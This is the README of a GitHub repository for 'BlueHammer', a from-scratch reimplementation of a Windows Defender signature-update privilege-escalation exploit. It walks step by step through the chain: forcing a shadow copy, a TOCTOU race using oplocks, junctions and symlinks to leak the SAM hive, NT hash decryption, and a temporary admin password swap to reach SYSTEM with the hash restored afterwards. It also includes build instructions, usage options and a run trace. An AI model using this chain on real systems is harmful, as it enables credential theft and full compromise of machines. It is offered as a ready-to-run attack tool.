Skip to content

0xjustBen/BlueHammer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BlueHammer

Windows Defender signature-update LPE — TOCTOU arbitrary file read as SYSTEM via Proc42_ServerMpUpdateEngineSignature. From-scratch reimplementation of Nightmare-Eclipse/BlueHammer.

How it works

The end-to-end chain is:

  1. Download a signature update from go.microsoft.com/fwlink/?LinkID=121721&arch=x64, parse the PE .rsrc, and extract the embedded cabinet (mpasbase.vdm, etc.) into a per-run staging dir under %TEMP%.
  2. Trigger Windows to create a Volume Shadow Copy. EICAR is dropped to %TEMP%\<UUID>\foo.exe while a batch oplock is held on C:\Windows\System32\RstrtMgr.dll. Defender's quarantine codepath loads RstrtMgr → trips the oplock → Defender's quarantine pipeline calls VSSVC, which creates a System Restore checkpoint as a side effect of remediation. The new shadow copy contains an unlocked copy of \Windows\System32\config\SAM.
  3. (Optional) Freeze Defender via Cloud Files. A Cloud Files sync root with a callback that takes a second oplock when MsMpEng enumerates the placeholders. Currently disabled — the bare race wins without it.
  4. Race the Defender RPC. Batch oplock is taken on the staged mpasbase.vdm. Proc42_ServerMpUpdateEngineSignature is invoked over local RPC. When Defender opens mpasbase.vdm, the oplock fires; we rename the file out via SetFileInformationByHandle, move the staging directory aside, junction the original path to \BaseNamedObjects\Restricted, and create an object-manager symlink \BaseNamedObjects\Restricted\mpasbase.vdm → \Device\HarddiskVolumeShadowCopyN\Windows\System32\config\SAM. The oplock is released only after the entire chain is in place. Defender's resumed open follows junction → object manager → snapshot SAM and copies the bytes into its own Definition Updates\<guid>\ directory, which is user-readable.
  5. Parse the leaked SAM hive with offreg.dll. Boot key is extracted from the live SYSTEM hive class names and permuted. The SAM key is decrypted (RC4 rev 2 or AES rev 3), per-user NT hashes are decrypted (DES-ECB on the RID-keyed result), and usernames recovered from the V values.
  6. Escalate. NetUserSetInfo swaps a known admin's password to a temporary value, LogonUserW + CheckTokenMembership confirms admin, a service runs as SYSTEM, and SamSetInformationUser restores the original hash so no credential modification is left behind.

The technique is fully documented in the upstream repo's IDL (windefend.idl) and the original PoC. The bug is a TOCTOU between Defender's path-validate and file-open phases on the staged update directory.

Known issues / changelog

Cabinet extraction (FDICopy failure, issue #1)

Microsoft periodically changes the compression type or cabinet layout in the mpam-fe.exe update package. If you see:

[-] FDICopy (in-memory) failed or produced no files (op=4 type=0)

this means FDIERROR_BAD_COMPR_TYPE: the embedded cabinet uses a compression variant that the FDI in-memory path can't handle. DiagnoseCAB() now runs before extraction and logs the exact CFFOLDER.typeCompress value, so you can confirm the type at a glance. A file-based FDI fallback (ExtractCabinetFileBased) is invoked automatically — it writes the cabinet to %TEMP%, retries FDICopy with real CreateFile I/O callbacks, loads results back into memory, and cleans up the temp files. If the fallback also fails (new compression type genuinely unsupported by cabinet.dll), the diagnostic output will make the compression type visible for further investigation.

Status

Tested on Azure Windows 11 Pro 25H2, OS build 26200.8037 (installed 2026-04-07), as a non-elevated user.

Windows version

The full chain runs end-to-end — sample run:

Run trace

[*] Initializing COM...
[*] Resolving NT APIs...
[16:07:24.313] [+] NT APIs resolved
[*] Stage 1: Download Defender Signature Update
[*] DownloadDefenderUpdate: entering
[+] InternetOpenW ok
[16:07:25.478] [+] Downloaded 210315680 bytes
[16:07:25.479] [+] Found cabinet at .rsrc+0x114, size 210010025 bytes
[16:07:25.605] [+] Extracted 17773248 bytes from cabinet
[16:07:25.630] [+] Staged update directory: C:\Users\ben\AppData\Local\Temp\BlueHammer_{B42368B8-3935-4EC4-9CC9-3122438764E9}
[16:07:25.634] [*] === Stage 2: Trigger VSS Snapshot ===
[16:07:25.635] [*] Found 0 existing VSS snapshots before trigger
[16:07:25.637] [+] EICAR dropped: C:\Users\ben\AppData\Local\Temp\{CB19567E-6B44-4A94-8C30-0C2972B57480}\foo.exe
[16:07:25.638] [+] Batch oplock set on RstrtMgr.dll
[16:07:25.648] [*] Trigger open issued — waiting for Defender quarantine → RstrtMgr load → oplock break
[16:07:38.723] [+] Oplock broken — Defender hit RstrtMgr.dll, VSS should now exist
[16:07:38.723] [+] New VSS snapshot detected: \Device\HarddiskVolumeShadowCopy{3e2ae170-328c-11f1-ad4d-70a8a505a312}
[16:07:38.723] [*] === Stage 3: Freeze Defender via Cloud Files ===
[16:07:38.723] [!] Stage 3 bypassed — running bare race against snapshot
[16:07:38.732] [*] === Stage 4: TOCTOU Race ===
[16:07:38.732] [+] Batch oplock set on mpasbase.vdm
[16:07:38.732] [*] Triggering Defender signature update RPC...
[16:07:38.732] [*] RPC binding established to Defender service
[16:07:38.732] [*] Waiting for oplock break on mpasbase.vdm...
[16:07:38.739] [+] Oplock broken — Defender opened mpasbase.vdm
[16:07:38.739] [+] Renamed mpasbase.vdm out -> ...BlueHammer_{...}.WDFOO
[16:07:38.744] [+] Renamed update dir -> ...BlueHammer_{...}_orig
[16:07:38.748] [+] Junction created: ...BlueHammer_{...} -> \BaseNamedObjects\Restricted
[16:07:38.752] [+] ObjMgr symlink: \BaseNamedObjects\Restricted\mpasbase.vdm -> \Device\HarddiskVolumeShadowCopy{...}\Windows\System32\config\SAM
[16:07:38.761] [+] Proc42 returned: 0x80070002 (out_status: 0x00000000)
[16:07:38.761] [+] Race primitives in place — Defender will follow junction chain
[16:07:38.763] [+] Leaked file found: C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{44402927-...}\mpasbase.vdm
[16:07:38.765] [*] === Stage 5: Dump Leaked File ===
[16:07:38.765] [+] Leaked file size: 134098360 bytes
[16:07:38.767] [*] === Cleanup ===
[16:07:38.769] [+] Cleanup complete

Stages 1-4 are working: signature download + cab extract, EICAR/RstrtMgr-driven VSS creation, RPC dispatch, file rename via the oplock-held handle, directory junction, object-manager symlink, oplock release in the correct order. Stage 5 currently picks up an existing Definition Updates\ subdirectory rather than the one Defender creates for this run — visible above as the 134 MB MZ file (real mpasbase.vdm from a prior install) instead of the ~50 KB regf SAM hive we want. Fix in progress: add a ReadDirectoryChangesW watcher on Definition Updates\ started before the RPC call so we capture the exact subdirectory belonging to the current run, and only set the mpasbase.vdm oplock after Defender's new directory appears (matching upstream's sequencing). SAM hive parsing itself (Stage 5 SAM branch) is verified against a manually-prepared snapshot.

Build

MSVC / Visual Studio 2022

mkdir build && cd build
cmake .. -G "Visual Studio 17 2022" -A x64
cmake --build . --config Release

offreg.lib is needed for SAM hive parsing — find it under C:\Program Files (x86)\Windows Kits\10\Lib\<version>\km\x64\offreg.lib (kernel-mode tree, not user-mode). The binary loads offreg.dll dynamically at runtime, so linking the import library is optional.

mingw-w64 cross-compile (macOS / Linux)

make -f Makefile.mingw

Produces a fully static PE32+ x64 binary in the project root. All Windows-specific dependencies (cldapi.dll, offreg.dll, samlib.dll) are loaded dynamically at runtime — no import libraries required. The build uses a hand-rolled mingw/cfapi.h for the Cloud Files API declarations since mingw-w64 doesn't ship cfapi.h.

RPC stubs

Pre-generated stubs live in rpc/windefend_h.h and rpc/windefend_c.c. They expose only Proc42_ServerMpUpdateEngineSignature with the four-argument signature from the IDL: (handle_t, long, wchar_t*, error_status_t*). To regenerate from the IDL with the Windows SDK MIDL compiler:

cd rpc
midl.exe /win64 /robust /error allocation /error bounds_check windefend.idl

Usage

BlueHammer.exe [options]

Options:
  --target <file>   NT-relative path to read (default: \Windows\Panther\unattend.xml)
                    Pass \Windows\System32\config\SAM with a snapshot for hashes.
  --dump-only       Run Stages 1-5 only — leak the file, don't escalate.
  --help            Show help.

Module layout

File Responsibility
src/update.cpp Download from Microsoft, walk PE .rsrc, FDI cabinet extraction (in-memory with file-based fallback)
src/vss.cpp EICAR (XOR-obfuscated to avoid self-detection), RstrtMgr.dll oplock, VSS enumeration via NtQueryDirectoryObject
src/cloudfiles.cpp CfRegisterSyncRoot / CfConnectSyncRoot with placeholder callback that PID-matches MsMpEng and takes a freeze oplock
src/race.cpp Mount-point reparse buffer, object-manager symlink, batch oplock break thread, Proc42 RPC trigger
src/sam.cpp Offline hive open via offreg.dll, boot key extraction + permutation, SAM key decrypt, NT hash decrypt
src/escalate.cpp Temporary password swap, admin verification, SYSTEM service launch, hash restore
src/main.cpp Stage orchestration with cleanup handler
rpc/windefend.idl Defender RPC interface (UUID c503f532-443a-4c69-8300-ccd1fbdb3839, v2.0)

Security notes

  • Only network call: https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64 (legitimate Microsoft Defender update URL).
  • No data exfiltration — all output goes to stdout.
  • No persistence mechanisms.
  • The escalation service is deleted immediately after use.
  • Original NT hashes are restored after escalation, so the target user is left in its pre-run state.
  • EICAR is the standard 68-byte test string (1996, EICAR consortium) — non-functional, non-malicious, designed for AV testing.

Credits

Original technique and PoC: Nightmare-Eclipse/BlueHammer.

About

Reattempt of BlueHammer disclosed in April 2026

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors